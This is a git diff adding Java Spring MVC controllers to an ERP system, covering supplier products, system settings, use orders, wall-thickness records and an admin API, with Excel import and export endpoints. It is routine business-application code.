modelMap.addAttribute("diameterList",diameterService.findAll());
|
||||
modelMap.addAttribute("sizeStandardList",sizeStandardService.findAll());
|
||||
return "supplierProduct/add";
|
||||
}
|
||||
|
||||
@RequestMapping("edit")
|
||||
public String edit(Long id,ModelMap modelMap){
|
||||
Admin admin = adminService.getCurrent();
|
||||
|
||||
Supplier adminSupplier = null;
|
||||
for (Supplier findSupplier : admin.getSupplierList()){
|
||||
if (admin.getNowProgress()==null){
|
||||
if (findSupplier.getProgressId() == null){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}else {
|
||||
if (admin.getNowProgress().equals(findSupplier.getProgressId())){
|
||||
adminSupplier = findSupplier;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// if (admin.getSupplier() != null){
|
||||
if (adminSupplier != null){
|
||||
List<Supplier> list = new ArrayList<>();
|
||||
list.add(adminSupplier);
|
||||
modelMap.addAttribute("supplierList",list);
|
||||
}else {
|
||||
modelMap.addAttribute("supplierList",supplierService.findListByAttribute("progressId",admin.getNowProgress()));
|
||||
}
|
||||
SupplierProduct supplierProduct = supplierProductService.find(id);
|
||||
ProductType productType = productTypeService.find(supplierProduct.getBigTypeId());
|
||||
modelMap.addAttribute("bigTypeList",productTypeService.findListByAttribute("level",1));
|
||||
if (productType != null) {
|
||||
modelMap.addAttribute("smallTypeList", productTypeService.findByParent(productType.getId()));
|
||||
}else {
|
||||
modelMap.addAttribute("smallTypeList", new ArrayList<>());
|
||||
}
|
||||
modelMap.addAttribute("supplierProduct",supplierProduct);
|
||||
modelMap.addAttribute("pressureLevelList",pressureLevelService.findAll());
|
||||
modelMap.addAttribute("endFaceList",endFaceService.findAll());
|
||||
modelMap.addAttribute("materialList",materialService.findAll());
|
||||
modelMap.addAttribute("wallThicknessList",wallThicknessService.findAll());
|
||||
modelMap.addAttribute("diameterList",diameterService.findAll());
|
||||
modelMap.addAttribute("sizeStandardList",sizeStandardService.findAll());
|
||||
return "supplierProduct/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("save")
|
||||
@ResponseBody
|
||||
public Message save(SupplierProduct supplierProduct,Long supplierId){
|
||||
try {
|
||||
if (supplierProduct.getSmallTypeId() != null){
|
||||
ProductType productType = productTypeService.find(supplierProduct.getSmallTypeId());
|
||||
supplierProduct.setProductType(productType);
|
||||
}else {
|
||||
ProductType productType = productTypeService.find(supplierProduct.getBigTypeId());
|
||||
supplierProduct.setProductType(productType);
|
||||
}
|
||||
supplierProductService.saveEntity(supplierProduct,supplierId);
|
||||
return Message.success("保存成功");
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
return Message.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("update")
|
||||
@ResponseBody
|
||||
public Message update(SupplierProduct supplierProduct,Long supplierId){
|
||||
try {
|
||||
if (supplierProduct.getSmallTypeId() != null){
|
||||
ProductType productType = productTypeService.find(supplierProduct.getSmallTypeId());
|
||||
supplierProduct.setProductType(productType);
|
||||
}else {
|
||||
ProductType productType = productTypeService.find(supplierProduct.getBigTypeId());
|
||||
supplierProduct.setProductType(productType);
|
||||
}
|
||||
supplierProductService.updateEntity(supplierProduct,supplierId);
|
||||
return Message.success("保存成功");
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
return Message.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long[] ids){
|
||||
supplierProductService.delete(ids);
|
||||
return Message.success("删除成功");
|
||||
}
|
||||
|
||||
@RequestMapping("dialog/addFile")
|
||||
public String dialogAddFile(ModelMap modelMap){
|
||||
Admin admin =adminService.getCurrent();
|
||||
modelMap.addAttribute("progressId",admin.getNowProgress());
|
||||
return "supplierProduct/dialog/addFile";
|
||||
}
|
||||
|
||||
@RequestMapping(value = "/uploadExcel")
|
||||
@ResponseBody
|
||||
public RespData uploadExcel(MultipartFile file,Long progressId) {
|
||||
if (file == null) {
|
||||
return RespData.error("文件为空");
|
||||
}
|
||||
//获得文件名
|
||||
String fileName = file.getOriginalFilename();
|
||||
//判断文件是否是excel文件
|
||||
if (!fileName.endsWith("xls") && !fileName.endsWith("xlsx")) {
|
||||
return RespData.error("不是excel文件");
|
||||
}
|
||||
try {
|
||||
Map<String,Object> map = supplierProductService.saveFile(file,progressId);
|
||||
List list = (List) map.get("list");
|
||||
Integer repeatNum = Integer.valueOf(map.get("repeatNum").toString());
|
||||
Integer failNum = Integer.valueOf(map.get("failNum").toString());
|
||||
String message = "导入成功,"+repeatNum+"条已存在";
|
||||
map.put("msg",message);
|
||||
if (failNum == 0 && repeatNum ==0){
|
||||
return RespData.success(map);
|
||||
}
|
||||
if (failNum>0) {
|
||||
message = failNum + "条导入失败";
|
||||
}
|
||||
map.put("msg",message);
|
||||
return RespData.warn(map);
|
||||
}catch (Exception e){
|
||||
e.printStackTrace();
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("uploadResult")
|
||||
public String uploadResult(ModelMap modelMap,Integer successNum, Integer repeatNum, Integer failNum, String key){
|
||||
modelMap.addAttribute("successNum",successNum);
|
||||
modelMap.addAttribute("repeatNum",repeatNum);
|
||||
modelMap.addAttribute("failNum",failNum);
|
||||
modelMap.addAttribute("key", key);
|
||||
return "supplierProduct/dialog/uploadResult";
|
||||
}
|
||||
|
||||
@RequestMapping("exportNotFund")
|
||||
public void exportNotFund(HttpServletResponse response, String key) {
|
||||
try {
|
||||
supplierProductService.exportNotFund(response, key);
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
}
|
||||
110
src/main/java/com/vverp/controller/admin/SystemController.java
Normal file
110
src/main/java/com/vverp/controller/admin/SystemController.java
Normal file
@@ -0,0 +1,110 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.base.Setting;
|
||||
import com.vverp.dto.OrderCalendar;
|
||||
import com.vverp.entity.*;
|
||||
import com.vverp.moli.util.Filter;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.*;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.*;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2020/2/13 8:54 下午
|
||||
*/
|
||||
@Controller
|
||||
@RequestMapping("/admin/system")
|
||||
public class SystemController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private SystemSettingService systemSettingService;
|
||||
|
||||
@Resource
|
||||
private PurchaseOrderService purchaseOrderService;
|
||||
|
||||
@Resource
|
||||
private PaymentMethodService paymentMethodService;
|
||||
|
||||
@RequestMapping("/setting")
|
||||
public String setting(ModelMap modelMap) {
|
||||
modelMap.addAttribute("systemSetting", systemSettingService.findSingle());
|
||||
return "/system/setting";
|
||||
}
|
||||
|
||||
@RequestMapping("/theme")
|
||||
public String theme(ModelMap modelMap) {
|
||||
modelMap.addAttribute("navigateModes", SystemSetting.NavigateMode.values());
|
||||
modelMap.addAttribute("themeSchemes", SystemSetting.ThemeScheme.values());
|
||||
modelMap.addAttribute("systemSetting", systemSettingService.findSingle());
|
||||
return "/system/theme";
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
@ResponseBody
|
||||
public RespData update(SystemSetting systemSetting) {
|
||||
try {
|
||||
systemSettingService.updateSystemSetting(systemSetting);
|
||||
return RespData.success("更新成功");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error("更新失败");
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/themeUpdate")
|
||||
@ResponseBody
|
||||
public RespData themeUpdate(SystemSetting systemSetting) {
|
||||
try {
|
||||
systemSettingService.themeUpdate(systemSetting);
|
||||
return RespData.success("更新成功");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error("更新失败");
|
||||
}
|
||||
}
|
||||
|
||||
@RequestMapping("/selectReceiptPoint")
|
||||
public String selectReceiptPoint() {
|
||||
return "/common/dialog/selectReceiptPoint";
|
||||
}
|
||||
|
||||
@RequestMapping("/setReceiptPoint")
|
||||
@ResponseBody
|
||||
public RespData setReceiptPoint(SystemSetting.ReceiptPoint receiptPoint) {
|
||||
SystemSetting systemSetting = systemSettingService.findSingle();
|
||||
systemSetting.setReceiptPoint(receiptPoint);
|
||||
systemSettingService.update(systemSetting);
|
||||
Setting.load(systemSetting);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/calendar")
|
||||
public String calendar() {
|
||||
return "/system/calendar";
|
||||
}
|
||||
|
||||
@RequestMapping("/calendarData")
|
||||
@ResponseBody
|
||||
public RespData calendarData() {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
List<PurchaseOrder> purchaseOrderList = purchaseOrderService.findList(null, Collections.singletonList(Filter.isNotNull("paymentMethodId")), null);
|
||||
List<OrderCalendar> purchaseOrders = new ArrayList<>();
|
||||
for (PurchaseOrder purchaseOrder : purchaseOrderList) {
|
||||
PaymentMethod paymentMethod = paymentMethodService.find(purchaseOrder.getPaymentMethodId());
|
||||
if (paymentMethod != null) {
|
||||
for (PaymentMethodItem item : paymentMethod.getPaymentMethodItemList()) {
|
||||
purchaseOrders.add(new OrderCalendar(item.getId(), purchaseOrder.getSn(), item.getDate()));
|
||||
}
|
||||
}
|
||||
}
|
||||
map.put("purchaseOrders", purchaseOrders);
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,76 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.TableStorage;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.TableStorageService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
*/
|
||||
@Controller
|
||||
@RequestMapping("/tableStorage")
|
||||
public class TableStorageController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private TableStorageService tableStorageService;
|
||||
|
||||
@RequestMapping("/getByName")
|
||||
@ResponseBody
|
||||
public RespData getColumns(String name, Boolean fieldControl) {
|
||||
TableStorage tableStorage = tableStorageService.findByName(name);
|
||||
Map<String, Object> data = new HashMap<>();
|
||||
|
||||
if (fieldControl != null && fieldControl) {
|
||||
List<String> invalidFieldList= tableStorageService.getInvalidFieldList(name);
|
||||
Map<String, Object> value = new HashMap<>();
|
||||
if (tableStorage != null) {
|
||||
value.put("name", tableStorage.getName());
|
||||
value.put("content", tableStorage.getContent());
|
||||
value.put("invalidFieldList", invalidFieldList);
|
||||
data.put("value", value);
|
||||
return RespData.success(data);
|
||||
}
|
||||
}
|
||||
|
||||
data.put("value", tableStorage);
|
||||
return RespData.success(data);
|
||||
}
|
||||
|
||||
@RequestMapping("/fieldControl/getByName")
|
||||
@ResponseBody
|
||||
public RespData fieldControlGetByName(String name, Long roleId) {
|
||||
Map<String, Object> data = new HashMap<>();
|
||||
data.put("value", tableStorageService.fieldControlGetByName(name, roleId));
|
||||
return RespData.success(data);
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
@ResponseBody
|
||||
public RespData save(String name, String content) {
|
||||
try {
|
||||
TableStorage tableStorage = tableStorageService.findByName(name);
|
||||
if (tableStorage == null) {
|
||||
tableStorage = new TableStorage();
|
||||
tableStorage.setName(name);
|
||||
tableStorage.setContent(content);
|
||||
tableStorageService.save(tableStorage);
|
||||
} else {
|
||||
tableStorage.setContent(content);
|
||||
tableStorageService.update(tableStorage);
|
||||
}
|
||||
|
||||
return RespData.success();
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
return RespData.error("出错了");
|
||||
}
|
||||
}
|
||||
}
|
||||
103
src/main/java/com/vverp/controller/admin/UseOrderController.java
Normal file
103
src/main/java/com/vverp/controller/admin/UseOrderController.java
Normal file
@@ -0,0 +1,103 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.Admin;
|
||||
import com.vverp.entity.UseOrder;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.AdminService;
|
||||
import com.vverp.service.ProductService;
|
||||
import com.vverp.service.UseOrderService;
|
||||
import com.vverp.util.GetDateUtil;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.Date;
|
||||
|
||||
@RequestMapping("admin/useOrder")
|
||||
@Controller("adminUseOrder")
|
||||
public class UseOrderController extends BaseController{
|
||||
|
||||
@Resource
|
||||
private UseOrderService useOrderService;
|
||||
@Resource
|
||||
private ProductService productService;
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@RequestMapping("/list")
|
||||
public String list(ModelMap modelMap, Pageable pageable, String sn, Date createDateStart, Date createDateEnd, Long adminId) {
|
||||
if (createDateEnd != null) {
|
||||
createDateEnd = GetDateUtil.getDayEndTime(createDateEnd);
|
||||
}
|
||||
Admin admin = adminService.getCurrent();
|
||||
Page<UseOrder> page = useOrderService.findPageView(pageable, sn, createDateStart, createDateEnd, adminId,admin.getNowProgress());
|
||||
modelMap.addAttribute("page", page);
|
||||
modelMap.addAttribute("sn", sn);
|
||||
modelMap.addAttribute("createDateStart", createDateStart);
|
||||
modelMap.addAttribute("createDateEnd", createDateEnd);
|
||||
return "/useOrder/list";
|
||||
}
|
||||
|
||||
@RequestMapping("add")
|
||||
public String add(ModelMap modelMap){
|
||||
modelMap.addAttribute("adminList",adminService.findAll());
|
||||
return "useOrder/add";
|
||||
}
|
||||
|
||||
@RequestMapping("edit")
|
||||
public String edit(ModelMap modelMap, Long id){
|
||||
UseOrder useOrder = useOrderService.find(id);
|
||||
modelMap.addAttribute("adminList",adminService.findAll());
|
||||
modelMap.addAttribute("useOrder",useOrder);
|
||||
return "useOrder/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("view")
|
||||
public String view(ModelMap modelMap, Long id){
|
||||
UseOrder useOrder = useOrderService.find(id);
|
||||
modelMap.addAttribute("useOrder",useOrder);
|
||||
return "useOrder/view";
|
||||
}
|
||||
|
||||
@RequestMapping("save")
|
||||
@ResponseBody
|
||||
public RespData save(UseOrder useOrder){
|
||||
useOrderService.saveUseOrder(useOrder);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("update")
|
||||
@ResponseBody
|
||||
public RespData update(UseOrder useOrder){
|
||||
useOrderService.updateUseOrder(useOrder);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long ids){
|
||||
UseOrder useOrder = useOrderService.find(ids);
|
||||
if (useOrder.getStockConfirm()){
|
||||
return Message.error("已确认,无法删除");
|
||||
}else {
|
||||
useOrderService.delete(ids);
|
||||
}
|
||||
return Message.success("删除成功");
|
||||
}
|
||||
|
||||
@RequestMapping("confirm")
|
||||
@ResponseBody
|
||||
public RespData save(Long id){
|
||||
try{
|
||||
useOrderService.confirmOrder(id);
|
||||
}catch (Exception e){
|
||||
return RespData.error(e.getMessage());
|
||||
}
|
||||
return RespData.success();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
package com.vverp.controller.admin;
|
||||
|
||||
import com.vverp.entity.Diameter;
|
||||
import com.vverp.entity.WallThickness;
|
||||
import com.vverp.moli.util.Message;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.WallThicknessService;
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.ui.ModelMap;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
|
||||
@RequestMapping("admin/wallThickness")
|
||||
@Controller("adminWallThickness")
|
||||
public class WallThicknessController extends BaseController{
|
||||
|
||||
@Resource
|
||||
private WallThicknessService wallThicknessService;
|
||||
|
||||
@RequestMapping("list")
|
||||
public String list(ModelMap modelMap, Pageable pageable){
|
||||
Page<WallThickness> page = wallThicknessService.findPage(pageable);
|
||||
modelMap.addAttribute("page",page);
|
||||
return "wallThickness/list";
|
||||
}
|
||||
|
||||
@RequestMapping("add")
|
||||
public String add(){
|
||||
return "wallThickness/add";
|
||||
}
|
||||
|
||||
@RequestMapping("edit")
|
||||
public String edit(ModelMap modelMap, Long id){
|
||||
WallThickness wallThickness = wallThicknessService.find(id);
|
||||
modelMap.addAttribute("wallThickness",wallThickness);
|
||||
return "wallThickness/edit";
|
||||
}
|
||||
|
||||
@RequestMapping("save")
|
||||
@ResponseBody
|
||||
public RespData save(WallThickness wallThickness){
|
||||
if (wallThicknessService.findByAttribute("name",wallThickness.getName()) != null){
|
||||
return RespData.error(wallThickness.getName()+"已存在");
|
||||
}
|
||||
wallThicknessService.save(wallThickness);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("update")
|
||||
@ResponseBody
|
||||
public RespData update(WallThickness wallThickness){
|
||||
WallThickness source = wallThicknessService.findByAttribute("name",wallThickness.getName());
|
||||
if (source != null && !source.getId().equals(wallThickness.getId())){
|
||||
return RespData.error(wallThickness.getName()+"已存在");
|
||||
}
|
||||
wallThicknessService.update(wallThickness);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("delete")
|
||||
@ResponseBody
|
||||
public Message delete(Long ids){
|
||||
wallThicknessService.delete(ids);
|
||||
return Message.success("删除成功");
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* 导入模板
|
||||
*/
|
||||
@RequestMapping("/exportTemplate")
|
||||
public void exportTemplate(HttpServletResponse response) {
|
||||
wallThicknessService.exportTemplate(response);
|
||||
}
|
||||
|
||||
@RequestMapping("import")
|
||||
@ResponseBody
|
||||
public RespData importExcel(MultipartFile file) {
|
||||
try {
|
||||
wallThicknessService.importExcel(file);
|
||||
return RespData.success();
|
||||
} catch (RuntimeException e) {
|
||||
return RespData.error(e.getMessage());
|
||||
} catch (Exception e) {
|
||||
return RespData.error("导入失败");
|
||||
}
|
||||
}
|
||||
}
|
||||
274
src/main/java/com/vverp/controller/api/AdminController.java
Normal file
274
src/main/java/com/vverp/controller/api/AdminController.java
Normal file
@@ -0,0 +1,274 @@
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import com.vverp.dto.SimpleEntity;
|
||||
import com.vverp.entity.Company;
|
||||
import com.vverp.entity.Department;
|
||||
import com.vverp.entity.Role;
|
||||
import com.vverp.enums.NationalityType;
|
||||
import com.vverp.enums.Reservoir;
|
||||
import com.vverp.moli.util.Filter;
|
||||
import com.vverp.moli.util.Page;
|
||||
import com.vverp.moli.util.Pageable;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.CompanyService;
|
||||
import com.vverp.service.DepartmentService;
|
||||
import com.vverp.service.RoleService;
|
||||
import io.swagger.annotations.Api;
|
||||
import org.apache.commons.lang.StringUtils;
|
||||
import org.springframework.web.bind.annotation.ResponseBody;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RequestMethod;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
|
||||
import com.vverp.entity.Admin;
|
||||
import com.vverp.service.AdminService;
|
||||
|
||||
import java.text.SimpleDateFormat;
|
||||
import java.util.*;
|
||||
|
||||
|
||||
@RestController("adminRestController")
|
||||
@RequestMapping("/api/admin")
|
||||
@Api(value = "管理员", description = "管理员接口")
|
||||
public class AdminController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private AdminService adminService;
|
||||
|
||||
@Resource
|
||||
private RoleService roleService;
|
||||
|
||||
@Resource
|
||||
private DepartmentService departmentService;
|
||||
|
||||
@Resource
|
||||
private CompanyService companyService;
|
||||
|
||||
@RequestMapping(value = "/info", method = RequestMethod.GET)
|
||||
public RespData info() {
|
||||
Admin admin = adminService.getApp();
|
||||
if (admin == null) {
|
||||
return RespData.error("用户不存在");
|
||||
}
|
||||
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", admin.getId());
|
||||
map.put("name", admin.getName());
|
||||
map.put("phone", admin.getPhone() != null ? admin.getPhone() : "");
|
||||
map.put("avatar", "https://vverp1.oss-cn-shanghai.aliyuncs.com//upload/image/202001/aaf06b1f-7620-424b-9c6c-67785f064373.png");
|
||||
map.put("department", admin.getDepartment() != null ? admin.getDepartment().getName() : "");
|
||||
map.put("company", admin.getCompany() != null ? admin.getCompany().getName() : "");
|
||||
map.put("mpOpenId", admin.getMpOpenid());
|
||||
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("/list")
|
||||
public RespData list(Pageable pageable) {
|
||||
Page<Admin> page = adminService.findPage(pageable);
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (Admin admin : page.getContent()) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", admin.getId());
|
||||
map.put("name", admin.getName());
|
||||
map.put("username", admin.getUsername());
|
||||
map.put("createDate", new SimpleDateFormat("yyyy-MM-dd HH:mm").format(admin.getCreateDate()));
|
||||
list.add(map);
|
||||
}
|
||||
return RespData.success(new Page<>(list, page.getTotal(), page.getPageable()));
|
||||
}
|
||||
|
||||
@RequestMapping("/role")
|
||||
public RespData role() {
|
||||
List<Role> roles = roleService.findAll();
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (Role role : roles) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", role.getId());
|
||||
map.put("name", role.getChineseName());
|
||||
list.add(map);
|
||||
}
|
||||
|
||||
return RespData.success(list);
|
||||
}
|
||||
|
||||
@RequestMapping("/companyList")
|
||||
public RespData companyList() {
|
||||
List<Company> companies = companyService.findAll();
|
||||
|
||||
List<Map<String, Object>> companyList = new ArrayList<>();
|
||||
for (Company company : companies) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", company.getId());
|
||||
map.put("name", company.getName());
|
||||
companyList.add(map);
|
||||
}
|
||||
|
||||
return RespData.success(companyList);
|
||||
}
|
||||
|
||||
@RequestMapping("/departmentList")
|
||||
public RespData departmentList() {
|
||||
List<Department> departments = departmentService.findAll();
|
||||
|
||||
List<Map<String, Object>> departmentList = new ArrayList<>();
|
||||
for (Department department : departments) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", department.getId());
|
||||
map.put("name", department.getName());
|
||||
departmentList.add(map);
|
||||
}
|
||||
return RespData.success(departmentList);
|
||||
}
|
||||
|
||||
@RequestMapping("/nationalityType")
|
||||
public RespData nationalityType() {
|
||||
List<Map<String, Object>> nationalityTypeList = new ArrayList<>();
|
||||
for (NationalityType nationalityType : NationalityType.values()) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", nationalityType);
|
||||
map.put("name", nationalityType.getName());
|
||||
nationalityTypeList.add(map);
|
||||
}
|
||||
return RespData.success(nationalityTypeList);
|
||||
}
|
||||
|
||||
@RequestMapping("/reservoir")
|
||||
public RespData reservoir() {
|
||||
List<Map<String, Object>> list = new ArrayList<>();
|
||||
for (Reservoir reservoir : Reservoir.values()) {
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", reservoir);
|
||||
map.put("name", reservoir.getName());
|
||||
list.add(map);
|
||||
}
|
||||
return RespData.success(list);
|
||||
}
|
||||
|
||||
@RequestMapping("/view")
|
||||
public RespData view(Long id) {
|
||||
Admin admin = adminService.find(id);
|
||||
Map<String, Object> map = new HashMap<>();
|
||||
map.put("id", admin.getId());
|
||||
map.put("username", admin.getUsername());
|
||||
map.put("name", admin.getName());
|
||||
map.put("phone", admin.getPhone());
|
||||
map.put("isEnabled", admin.getIsEnabled());
|
||||
|
||||
List<SimpleEntity> roles = new ArrayList<>();
|
||||
for (Role role : admin.getRoles()) {
|
||||
roles.add(new SimpleEntity(role.getId(), role.getChineseName()));
|
||||
}
|
||||
map.put("roleList", roles);
|
||||
|
||||
if (admin.getDepartment() != null) {
|
||||
map.put("departmentId", admin.getDepartment().getId());
|
||||
map.put("departmentName", admin.getDepartment().getName());
|
||||
}
|
||||
|
||||
if (admin.getCompany() != null) {
|
||||
map.put("companyId", admin.getCompany().getId());
|
||||
map.put("companyName", admin.getCompany().getName());
|
||||
}
|
||||
|
||||
map.put("reservoir", admin.getReservoir());
|
||||
map.put("reservoirName", admin.getReservoir() != null ? admin.getReservoir().getName() : "");
|
||||
|
||||
List<SimpleEntity> visibleCompanyList = new ArrayList<>();
|
||||
if (!admin.getVisibleCompanyIdsStr().equals("-1")) {
|
||||
for (String item : admin.getVisibleCompanyIdsStr().split(",")) {
|
||||
Company company = companyService.find(Long.valueOf(item));
|
||||
visibleCompanyList.add(new SimpleEntity(company.getId(), company.getName()));
|
||||
}
|
||||
}
|
||||
map.put("visibleCompanyList", visibleCompanyList);
|
||||
|
||||
List<SimpleEntity> visibleDepartmentList = new ArrayList<>();
|
||||
if (!admin.getVisibleDepartmentIdsStr().equals("-1")) {
|
||||
for (String item : admin.getVisibleDepartmentIdsStr().split(",")) {
|
||||
Department department = departmentService.find(Long.valueOf(item));
|
||||
visibleDepartmentList.add(new SimpleEntity(department.getId(), department.getName()));
|
||||
}
|
||||
}
|
||||
map.put("visibleDepartmentList", visibleDepartmentList);
|
||||
|
||||
map.put("onlySeeSelfFlag", admin.getOnlySeeSelfFlag());
|
||||
return RespData.success(map);
|
||||
}
|
||||
|
||||
@RequestMapping("/save")
|
||||
public RespData save(Admin admin, Long departmentId, Long companyId, String roleIds) {
|
||||
Long[] roles = new Long[]{};
|
||||
if (StringUtils.isNotEmpty(roleIds)) {
|
||||
String[] ids = roleIds.split(",");
|
||||
roles = new Long[ids.length];
|
||||
for (int i = 0; i < ids.length; i++) {
|
||||
roles[i] = Long.valueOf(ids[i]);
|
||||
}
|
||||
}
|
||||
Department department = departmentService.find(departmentId);
|
||||
Company company = companyService.find(companyId);
|
||||
admin.setDepartment(department);
|
||||
admin.setCompany(company);
|
||||
adminService.saveAdmin(admin, roles);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/update")
|
||||
public RespData update(Admin admin, Long departmentId, Long companyId, String roleIds) {
|
||||
Long[] roles = new Long[]{};
|
||||
if (StringUtils.isNotEmpty(roleIds)) {
|
||||
String[] ids = roleIds.split(",");
|
||||
roles = new Long[ids.length];
|
||||
for (int i = 0; i < ids.length; i++) {
|
||||
roles[i] = Long.valueOf(ids[i]);
|
||||
}
|
||||
}
|
||||
Department department = departmentService.find(departmentId);
|
||||
Company company = companyService.find(companyId);
|
||||
admin.setDepartment(department);
|
||||
admin.setCompany(company);
|
||||
adminService.updateAdmin(admin, roles);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
@RequestMapping("/simple")
|
||||
public RespData simple() {
|
||||
return RespData.success(adminService.findSimpleList());
|
||||
}
|
||||
|
||||
@RequestMapping("/permissions")
|
||||
public RespData permissions() {
|
||||
Admin admin = adminService.getApp();
|
||||
Set<String> permissions = new HashSet<>();
|
||||
for (Role role : admin.getRoles()) {
|
||||
permissions.addAll(role.getAuthorities());
|
||||
}
|
||||
return RespData.success(permissions);
|
||||
}
|
||||
|
||||
@RequestMapping("/listByDepartment")
|
||||
public RespData listByDepartment(Long departmentId) {
|
||||
List<Admin> list = adminService.findListByAttribute("department.id", departmentId);
|
||||
return RespData.success(list);
|
||||
}
|
||||
|
||||
@RequestMapping("/setCid")
|
||||
public RespData setCid(String cid) {
|
||||
Admin admin = adminService.getCurrent();
|
||||
// todo 解除注释
|
||||
// for (Admin item : adminService.findList(
|
||||
// Filter.eq("cid", cid),
|
||||
// Filter.ne("id", admin.getId())
|
||||
// )) {
|
||||
// item.setCid(null);
|
||||
// adminService.update(item);
|
||||
// }
|
||||
admin.setCid(cid);
|
||||
adminService.update(admin);
|
||||
return RespData.success();
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
package com.vverp.controller.api;
|
||||
|
||||
import com.vverp.entity.AttachFile;
|
||||
import com.vverp.moli.util.RespData;
|
||||
import com.vverp.service.AttachFileService;
|
||||
import com.vverp.service.UploadFileService;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
import org.springframework.web.multipart.MultipartFile;
|
||||
|
||||
import javax.annotation.Resource;
|
||||
import java.util.Date;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author dealsky
|
||||
* @date 2021/5/18 上午11:23
|
||||
*/
|
||||
@RestController("/apiAttachFileController")
|
||||
@RequestMapping("/api/attachFile")
|
||||
public class AttachFileController extends BaseController {
|
||||
|
||||
@Resource
|
||||
private UploadFileService uploadFileService;
|
||||
|
||||
@Resource
|
||||
private AttachFileService attachFileService;
|
||||
|
||||
